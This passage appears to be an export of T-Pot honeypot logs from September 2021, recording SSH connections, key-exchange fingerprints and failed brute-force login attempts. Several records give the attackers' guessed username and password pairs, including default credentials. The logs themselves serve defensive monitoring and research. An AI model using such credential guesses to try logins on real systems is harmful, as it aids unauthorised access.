"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43628, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.695848", "@timestamp": "2021-09-20T11:07:36.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23553	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.969372+03	2021-09-20 14:15:07.65547+03	{"_id": "TgbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "614f4ac7b02e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:36.969372Z", "@timestamp": "2021-09-20T11:07:36.969Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23554	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:37.057164+03	2021-09-20 14:15:07.65647+03	{"_id": "TwbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ts3/123456] failed", "session": "b5fcfd69d841", "@version": "1", "password": "123456", "username": "ts3", "timestamp": "2021-09-20T11:07:37.057164Z", "@timestamp": "2021-09-20T11:07:37.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23555	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:37.243897+03	2021-09-20 14:15:07.65847+03	{"_id": "UQbjAnwBvYTbRNuE1A3M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 965890555792755, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58398, "dest_port": 22, "timestamp": "2021-09-20T11:07:37.243897Z", "@timestamp": "2021-09-20T11:07:37.243Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23557	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.206637+03	2021-09-20 14:15:07.66147+03	{"_id": "ZwbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:44676 (192.168.176.2:22) [session: 61b95c7cc7af]", "session": "61b95c7cc7af", "@version": "1", "protocol": "ssh", "src_port": 44676, "dest_port": 22, "timestamp": "2021-09-20T11:07:38.206637Z", "@timestamp": "2021-09-20T11:07:38.206Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23558	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:37.29769+03	2021-09-20 14:15:07.66247+03	{"_id": "dwbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "614f4ac7b02e", "@version": "1", "timestamp": "2021-09-20T11:07:37.297690Z", "@timestamp": "2021-09-20T11:07:37.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23559	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:37.573635+03	2021-09-20 14:15:07.664471+03	{"_id": "XAbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53020, "timestamp": "2021-09-20T11:07:37.573635", "@timestamp": "2021-09-20T11:07:37.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23560	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:37.785178+03	2021-09-20 14:15:07.66547+03	{"_id": "YQbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [tomcat/tomcat] failed", "session": "62e295461db8", "@version": "1", "password": "tomcat", "username": "tomcat", "timestamp": "2021-09-20T11:07:37.785178Z", "@timestamp": "2021-09-20T11:07:37.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23561	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:37.973414+03	2021-09-20 14:15:07.66647+03	{"_id": "egbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [info/password1] failed", "session": "84b3477ef84b", "@version": "1", "password": "password1", "username": "info", "timestamp": "2021-09-20T11:07:37.973414Z", "@timestamp": "2021-09-20T11:07:37.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23563	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:07:37.967297+03	2021-09-20 14:15:07.668471+03	{"_id": "ZQbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qaz@WSX#EDC] failed", "session": "de7faa434b15", "@version": "1", "password": "1qaz@WSX#EDC", "username": "root", "timestamp": "2021-09-20T11:07:37.967297Z", "@timestamp": "2021-09-20T11:07:37.967Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23564	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:38.356262+03	2021-09-20 14:15:07.67047+03	{"_id": "fAbjAnwBvYTbRNuE2A20", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1400594933313359, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex", "is_ssh_client_banner"]}, "src_port": 52022, "dest_port": 22, "timestamp": "2021-09-20T11:07:38.356262Z", "@timestamp": "2021-09-20T11:07:38.356Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23565	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.719833+03	2021-09-20 14:15:07.671471+03	{"_id": "iQbjAnwBvYTbRNuE2g00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:60160 (192.168.176.2:22) [session: ab55d5dbf2c2]", "session": "ab55d5dbf2c2", "@version": "1", "protocol": "ssh", "src_port": 60160, "dest_port": 22, "timestamp": "2021-09-20T11:07:38.719833Z", "@timestamp": "2021-09-20T11:07:38.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23566	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:38.724994+03	2021-09-20 14:15:07.67247+03	{"_id": "hQbjAnwBvYTbRNuE2g00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60160, "timestamp": "2021-09-20T11:07:38.724994", "@timestamp": "2021-09-20T11:07:38.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23567	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:38.927327+03	2021-09-20 14:15:07.67347+03	{"_id": "jwbjAnwBvYTbRNuE2g00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49232, "dest_port": 22, "timestamp": "2021-09-20T11:07:38.927327", "@timestamp": "2021-09-20T11:07:38.927Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23568	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.928141+03	2021-09-20 14:15:07.67447+03	{"_id": "kQbjAnwBvYTbRNuE2g00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", 